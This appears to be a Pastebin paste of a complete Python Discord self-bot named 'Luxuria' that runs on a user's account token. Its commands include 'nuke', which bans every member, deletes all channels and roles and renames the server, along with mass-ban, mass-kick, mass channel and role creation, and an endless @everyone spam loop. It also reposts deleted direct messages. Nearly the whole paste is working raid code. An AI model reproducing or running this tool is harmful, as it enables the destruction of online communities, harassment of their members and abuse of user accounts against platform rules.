Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import re
- import signal
- import sys
- from os import system
- sys.tracebacklimit = 0
- try:
- import ast
- import asyncio
- import base64
- import ctypes
- import datetime
- import json
- import random
- import time
- import webbrowser
- from itertools import cycle
- from os import system
- from threading import Thread
- from urllib.request import urlopen
- import cursor
- import discord
- import numpy
- import proxyscrape
- import pyfiglet
- import requests
- import scprint
- import wikipedia
- import youtube_dl
- from bs4 import BeautifulSoup as bs4
- from colorama import Fore, Style
- from discord.ext import commands
- from faker import Faker
- from pypresence import Presence
- from pythonping import ping as pingip
- from tcp_latency import measure_latency
- from urbandictionary_top import udtop
- from youtube_search import YoutubeSearch
- except ImportError as e:
- print(\'All python requirements are needed to run Luxuria. Start <Install.bat>\')
- client = commands.Bot(command_prefix=\'.\', self_bot=True)
- client.remove_command(\'help\')
- def clear():
- os.system(\'cls\' if os.name == \'nt\' else \'clear\')
- def splash():
- clear()
- print(f\'\'\'
- \t\t {Fore.CYAN}888 d8b
- \t\t\t {Fore.CYAN}888 Y8P
- \t\t\t {Fore.CYAN}888
- \t\t\t {Fore.CYAN}888 888 888 888 888 888 888 888d888 888 8888b.
- \t\t\t {Fore.CYAN}888 888 888 `Y8bd8P\' 888 888 888P" 888 "88b
- \t\t\t {Fore.CYAN}888 888 888 X88K 888 888 888 888 .d888888
- {Fore.CYAN}888 Y88b 888 .d8""8b. Y88b 888 888 888 888 888
- {Fore.CYAN}88888888 "Y88888 888 888 "Y88888 888 888 "Y888888
- {Fore.RESET}
- {Fore.RESET}
- {Fore.CYAN} \xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97{Fore.RESET}
- {Fore.RESET} Ready to attack, to see the commands type it: {Fore.CYAN}"{client.command_prefix}help"
- {Fore.CYAN} \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d{Fore.RESET}
- \t\t\t
- \'\'\')
- class Nuked:
- version = \'4.0\'
- def SignalHandler(signal, frame):
- clear()
- print(Style.DIM + \'Disconnected From Luxuria.\' + Style.RESET_ALL)
- time.sleep(1)
- clear()
- exit(0)
- def CheckToken(token):
- headers = {\'Content-Type\': \'application/json\', \'authorization\': token}
- r = requests.get(\'https://discordapp.com/api/v6/users/@me/library\', headers=headers)
- if r.status_code == 200:
- return
- else:
- os.remove(f\'{os.getcwd()}\\\\config.json\')
- clear()
- print(Fore.CYAN + \' [Error]: \' + Fore.RESET + Style.DIM + \'Token Invalid.\' + Style.RESET_ALL)
- Nuked.InitialSetup()
- def Error(error: str, reason: str):
- raise Exception(f\'There was an error with Luxuria.\\\'s what we know:\\nError: {error}\\nReason: {reason}\')
- def InitialSetup():
- if not os.path.exists(\'./config.json\'):
- with open(\'./config.json\', \'w\') as fp:
- print(Fore.RESET + \'Starting Luxuria configuration.\')
- setup_token = input(\'Enter your token: \')
- setup_data = {
- "token": setup_token,
- "prefix": ".",
- }
- json.dump(setup_data, fp, indent=4)
- print(\'config.json created and adjusted!\')
- time.sleep(3)
- clear()
- Fore.RESET
- else:
- pass
- def Presplash():
- clear()
- for letter in "":
- scprint.print(" " + letter, color=\'blue\')
- try:
- ctypes.windll.kernel32.SetConsoleTitleW(letter)
- except:
- pass
- time.sleep(0.1)
- clear()
- def Init():
- if config.get(\'token\') == "token here":
- clear()
- else:
- try:
- Nuked.CheckToken(config.get(\'token\'))
- cursor.hide()
- client.run(config.get(\'token\'), bot=False, reconnect=True)
- except Exception as error:
- print(f"Error login into token: {error}")
- input()
- # data
- if not os.path.exists(\'./config.json\'):
- Nuked.InitialSetup()
- with open(\'config.json\') as f:
- config = json.load(f)
- token = config.get(\'token\')
- password = config.get(\'nameraid\')
- rich_presence = config.get(\'richpresence\')
- numbers = \'1234567890\'
- randomness = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijlkmnopqrstuvwxyz\'
- randomsymbols = \'!@#$%^&*()_+[]\'
- randomnum = \'123456789\'
- client.msgsniper = True
- client.snipe_history_dict = {}
- client.sniped_message_dict = {}
- client.sniped_edited_message_dict = {}
- val = 25
- languages = {
- \'hu\': \'Hungarian, Hungary\',
- \'nl\': \'Dutch, Netherlands\',
- \'no\': \'Norwegian, Norway\',
- \'pl\': \'Polish, Poland\',
- \'pt-BR\': \'Portuguese, Brazilian, Brazil\',
- \'ro\': \'Romanian, Romania\',
- \'fi\': \'Finnish, Finland\',
- \'sv-SE\': \'Swedish, Sweden\',
- \'vi\': \'Vietnamese, Vietnam\',
- \'tr\': \'Turkish, Turkey\',
- \'cs\': \'Czech, Czechia, Czech Republic\',
- \'el\': \'Greek, Greece\',
- \'bg\': \'Bulgarian, Bulgaria\',
- \'ru\': \'Russian, Russia\',
- \'uk\': \'Ukranian, Ukraine\',
- \'th\': \'Thai, Thailand\',
- \'zh-CN\': \'Chinese, China\',
- \'ja\': \'Japanese\',
- \'zh-TW\': \'Chinese, Taiwan\',
- \'ko\': \'Korean, Korea\'
- }
- locales = [
- "da", "de",
- "en-GB", "en-US",
- "es-ES", "fr",
- "hr", "it",
- "lt", "hu",
- "nl", "no",
- "pl", "pt-BR",
- "ro", "fi",
- "sv-SE", "vi",
- "tr", "cs",
- "el", "bg",
- "ru", "uk",
- "th", "zh-CN",
- "ja", "zh-TW",
- "ko"
- ]
- collector = proxyscrape.create_collector(\'default\', \'http\')
- collector.refresh_proxies(force=True)
- # functions
- def randaddr():
- fake = Faker()
- return fake.address()
- def searchq(link):
- return f"https://google.com/search?q={link}".replace(" ", "+")
- def pscrape():
- col = proxyscrape.get_collector(\'default\')
- proxy = col.get_proxy()
- pr = [_proxy for _proxy in proxy]
- return f\'Proxy: {pr[0]}:{pr[1]}\\nCountry: {pr[3]}\\nType: {pr[5]}\'
- # events
- @client.event
- async def on_relationship_add(friendship):
- print(Fore.CYAN + f"\\n [{datetime.datetime.now().strftime(\'%m/%d/%Y - %H:%M:%S\')}] {Fore.RESET}Added: {friendship.user.display_name}#{friendship.user.discriminator} In your friends list.")
- @client.event
- async def on_guild_join(guild):
- print(Fore.CYAN + f"\\n [{datetime.datetime.now().strftime(\'%m/%d/%Y - %H:%M:%S\')}] {Fore.RESET}Entered into: {guild.name}.")
- @client.event
- async def on_guild_remove(guild):
- print(Fore.CYAN + f"\\n [{datetime.datetime.now().strftime(\'%m/%d/%Y - %H:%M:%S\')}] {Fore.RESET}Exited from: {guild.name}.")
- @client.event
- async def on_relationship_remove(friendship):
- print(Fore.CYAN + f"\\n [{datetime.datetime.now().strftime(\'%m/%d/%Y - %H:%M:%S\')}] {Fore.RESET}Removed: {friendship.user.display_name}#{friendship.user.discriminator} Of friends.")
- @client.event
- async def on_connect():
- clear()
- try:
- ctypes.windll.kernel32.SetConsoleTitleW(f\'Luxuria Logged In, {client.user.name}#{client.user.discriminator}.\')
- except:
- pass
- splash()
- print(Fore.CYAN + f" [{datetime.datetime.now().strftime(\'%m/%d/%Y - %H:%M:%S\')}]{Fore.RESET} {client.user.name}#{client.user.discriminator} logged. " + Fore.RESET)
- @client.event
- async def on_command_error(ctx, error):
- error_str = str(error)
- error = getattr(error, \'original\', error)
- if isinstance(error, commands.CommandNotFound):
- return
- elif isinstance(error, commands.CheckFailure):
- print(f"{Fore.CYAN} [ERROR]: {Fore.RESET}It seems you cannot run this command due to missing permissions." + Fore.RESET)
- elif isinstance(error, commands.MissingRequiredArgument):
- print(f"{Fore.CYAN} [ERROR]: {Fore.RESET}Missing arguments: {error}" + Fore.RESET)
- elif isinstance(error, numpy.AxisError):
- print(f"{Fore.CYAN} [ERROR]: {Fore.RESET}Not a valid image" + Fore.RESET)
- elif isinstance(error, discord.errors.Forbidden):
- print(f"{Fore.CYAN} [ERROR]: {Fore.RESET}Permission required. " + Fore.RESET)
- elif "Cannot send an empty message" in error_str:
- print(f"{Fore.CYAN} [ERROR]: {Fore.RESET}Couldn\'t send a empty message" + Fore.RESET)
- else:
- print(f"{Fore.CYAN} [ERROR]: {Fore.RESET}{error_str}" + Fore.RESET)
- @client.event
- async def on_message_edit(before, after):
- await client.process_commands(after)
- @client.event
- async def on_message_delete(message):
- if message.author.id == client.user.id:
- return
- if client.msgsniper:
- # if isinstance(message.channel, discord.DMChannel) or isinstance(message.channel, discord.GroupChannel): \\\\ removed so people cant get you disabled
- if isinstance(message.channel, discord.DMChannel):
- attachments = message.attachments
- if len(attachments) == 0:
- message_content = "`" + str(discord.utils.escape_markdown(str(message.author))) + "`: " + str(
- message.content).replace("@everyone", "@\\u200beveryone").replace("@here", "@\\u200bhere")
- await message.channel.send(message_content)
- else:
- links = ""
- for attachment in attachments:
- links += attachment.proxy_url + "\\n"
- message_content = "`" + str(
- discord.utils.escape_markdown(str(message.author))) + "`: " + discord.utils.escape_mentions(
- message.content) + "\\n\\n**Attachments:**\\n" + links
- await message.channel.send(message_content)
- if len(client.sniped_message_dict) > 1000:
- client.sniped_message_dict.clear()
- if len(client.snipe_history_dict) > 1000:
- client.snipe_history_dict.clear()
- attachments = message.attachments
- if len(attachments) == 0:
- channel_id = message.channel.id
- message_content = "`" + str(discord.utils.escape_markdown(str(message.author))) + "`: " + str(message.content).replace("@everyone", "@\\u200beveryone").replace("@here", "@\\u200bhere")
- client.sniped_message_dict.update({channel_id: message_content})
- if channel_id in client.snipe_history_dict:
- pre = client.snipe_history_dict[channel_id]
- post = str(message.author) + ": " + str(message.content).replace("@everyone", "@\\u200beveryone").replace("@here", "@\\u200bhere")
- client.snipe_history_dict.update({channel_id: pre[:-3] + post + "\\n```"})
- else:
- post = str(message.author) + ": " + str(message.content).replace("@everyone", "@\\u200beveryone").replace("@here", "@\\u200bhere")
- client.snipe_history_dict.update({channel_id: "```\\n" + post + "\\n```"})
- else:
- links = ""
- for attachment in attachments:
- links += attachment.proxy_url + "\\n"
- channel_id = message.channel.id
- message_content = "`" + str(discord.utils.escape_markdown(str(message.author))) + "`: " + discord.utils.escape_mentions(message.content) + "\\n\\n**Attachments:**\\n" + links
- client.sniped_message_dict.update({channel_id: message_content})
- # selfbot commands
- @client.command()
- async def help(ctx, c: str=None):
- if not c:
- await ctx.message.delete()
- embed = discord.Embed(title=\'**Help**\', description=f\'Connected In: {client.user.display_name}#{client.user.discriminator}.\\nPrefix: {client.command_prefix}\', color=0xFF0000, timestamp=datetime.datetime.utcfromtimestamp(time.time()))
- embed.add_field(name="**nuke**", value="Delete all channels/roles and ban all members.", inline=False)
- embed.add_field(name="**chn <Name>**", value="Create 20 channels with the command name.", inline=False)
- embed.add_field(name="**massban**", value="Ban all members with a position below yours.", inline=False)
- embed.add_field(name="**masskick**", value="Kick members with a position below yours.", inline=False)
- embed.add_field(name="**setnicks**", value="[nick] Change nick of all members of the server.", inline=False)
- embed.add_field(name="**revertnicks**", value="Removes all changed nicknames.", inline=False)
- embed.add_field(name="**everyone**", value="Mention all server members with everyone.", inline=False)
- embed.add_field(name="**avatar**", value="Displays the avatar of the person mentioned.", inline=False)
- embed.set_footer(text=f"Command prefix is \\"{client.command_prefix}\\"")
- embed.set_thumbnail(url=client.user.avatar_url)
- embed.set_footer(text=\'Luxuria\', icon_url=\'\')
- await ctx.send(embed=embed, delete_after=val)
- else:
- pass
- @client.command(aliases=[\'av\'])
- async def avatar(ctx, *, member: discord.Member = None):
- await ctx.message.delete()
- embed = discord.Embed(title=f"{member}\'s avatar", color=0xFF0000, timestamp=datetime.datetime.utcfromtimestamp(time.time()))
- avatarurl = member.avatar_url
- embed.set_image(url=avatarurl)
- await ctx.send(embed=embed, delete_after=val)
- @client.command()
- async def cls(ctx):
- await ctx.message.delete()
- clear()
- splash()
- @client.command()
- async def listening(ctx, *, message):
- await ctx.message.delete()
- await client.change_presence(
- activity=discord.Activity(
- type=discord.ActivityType.listening,
- name=message,
- ))
- async def destroy(ctx):
- for user in ctx.guild.members:
- try:
- await user.ban()
- except:
- pass
- for channel in ctx.guild.channels:
- try:
- await channel.delete()
- except:
- pass
- for role in ctx.guild.roles:
- try:
- await role.delete()
- except:
- pass
- try:
- await ctx.guild.edit(
- name="NUKADO",
- description="NUKADO",
- reason="idk",
- icon=None,
- banner=None
- )
- except:
- pass
- async def masschannel(ctx):
- for _i in range(1):
- await ctx.guild.create_text_channel(name="Luxuria")
- async def massrole(ctx):
- for _i in range(25):
- await ctx.guild.create_role(name="Nukado")
- @client.command(aliases=[\'serverfuck\'])
- async def nuke(ctx):
- await ctx.message.delete()
- Thread(target=await destroy(ctx)).start()
- Thread(target=await masschannel(ctx)).start()
- Thread(target=await massrole(ctx)).start()
- @client.command()
- async def chn(ctx, *, name):
- await ctx.message.delete()
- for _i in range(20):
- await ctx.guild.create_text_channel(name)
- @client.command()
- async def setname(ctx, *, message):
- await ctx.message.delete()
- await client.user.edit(username=message, password=password)
- @client.command()
- async def setnicks(ctx, *, message):
- await ctx.message.delete()
- for member in ctx.message.guild.members:
- try:
- await member.edit(nick=message)
- except Exception as e:
- print(e)
- @client.command()
- async def revertnicks(ctx):
- await ctx.message.delete()
- for member in ctx.message.guild.members:
- try:
- await member.edit(nick=None)
- except:
- pass
- @client.command()
- async def massban(ctx):
- await ctx.message.delete()
- for member in ctx.message.guild.members:
- await member.ban()
- @client.command()
- async def masskick(ctx):
- await ctx.message.delete()
- for member in ctx.guild.members:
- await member.kick()
- @client.command()
- async def github(ctx):
- await ctx.message.delete()
- webbrowser.open_new(\'https://github.com/zVilao\')
- @client.command()
- async def youtube(ctx):
- await ctx.message.delete()
- webbrowser.open_new(\'https://www.youtube.com/channel/UCHPqoFr6t5OASsc6rgBQl4A\')
- @client.command()
- async def everyone(ctx, *, name):
- await ctx.message.delete()
- guild = ctx.guild
- while True:
- for channel in guild.text_channels:
- await channel.send("@everyone {}".format(name))
- @client.command()
- async def ban(ctx, member: discord.Member=None, *, reason):
- await ctx.message.delete()
- if not member:
- return
- else:
- try:
- await member.ban(reason=reason)
- embed = discord.Embed(description=f\'{member.display_name}#{member.discriminator} was banned for the reason: {reason}\', color=0xFFFAFA, timestamp=datetime.datetime.utcfromtimestamp(time.time()))
- await ctx.send(embed=embed, delete_after=val)
- except:
- pass
- @client.command()
- async def kick(ctx, member: discord.Member=None, *, reason):
- await ctx.message.delete()
- if not member:
- return
- else:
- try:
- await member.kick(reason=reason)
- embed = discord.Embed(description=f\'{member.display_name}#{member.discriminator} was kicked for the reason: {reason}\', color=0xFFFAFA, timestamp=datetime.datetime.utcfromtimestamp(time.time()))
- await ctx.send(embed=embed, delete_after=val)
- except:
- pass
- @client.command()
- async def banall(ctx):
- await ctx.message.delete()
- for m in ctx.guild.members:
- try:
- await m.ban()
- except:
- pass
- # selfbot functions
- signal.signal(signal.SIGINT, Nuked.SignalHandler)
- clear()
- Nuked.InitialSetup()
- Nuked.Presplash()
- Nuked.Init()
Add Comment
Please, Sign In to add comment